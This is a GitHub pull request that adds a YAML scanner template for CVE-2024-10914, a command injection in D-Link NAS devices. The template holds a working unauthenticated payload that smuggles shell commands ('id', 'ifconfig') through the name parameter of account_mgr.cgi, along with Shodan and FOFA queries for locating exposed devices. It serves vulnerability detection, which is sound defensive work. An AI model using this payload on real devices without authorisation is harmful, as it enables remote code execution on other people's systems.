Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

add cve-2024-10914 #11194

Merged
merged 3 commits into from
Nov 17, 2024
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
52 changes: 52 additions & 0 deletions http/cves/2024/CVE-2024-10914.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,52 @@
id: CVE-2024-10914

info:
name: D-Link NAS - Command Injection via Name Parameter
author: s4e-io
severity: critical
description: |
A vulnerability was found in D-Link DNS-320, DNS-320LW, DNS-325 and DNS-340L up to 20241028. It has been declared as critical. Affected by this vulnerability is the function cgi_user_add of the file /cgi-bin/account_mgr.cgi?cmd=cgi_user_add. The manipulation of the argument name leads to os command injection.
reference:
- https://github.com/verylazytech/CVE-2024-10914
- https://www.usom.gov.tr/bildirim/tr-24-1836
- https://nvd.nist.gov/vuln/detail/CVE-2024-10914
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-10914
cwe-id: CWE-707
epss-score: 0.00092
epss-percentile: 0.40606
cpe: cpe:2.3:o:dlink:dns-320_firmware:*:*:*:*:*:*:*:*
metadata:
vendor: dlink
product: dns-320_firmware
shodan-query: http.html:"sharecenter"
fofa-query: body="sharecenter"
tags: cve,cve2024,dlink,sharecenter,rce

http:
- raw:
- |
GET /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;{{command}};%27 HTTP/1.1
Host: {{Hostname}}

payloads:
command:
- "id"
- "ifconfig"

stop-at-first-match: true
matchers-condition: and
matchers:
- type: dsl
dsl:
- "regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body)"
- "contains_all(body, 'inet addr:', 'Mask:')"
condition: or

- type: dsl
dsl:
- 'contains(body, "Content-type: text/html")'
- "status_code == 200"
condition: and
Loading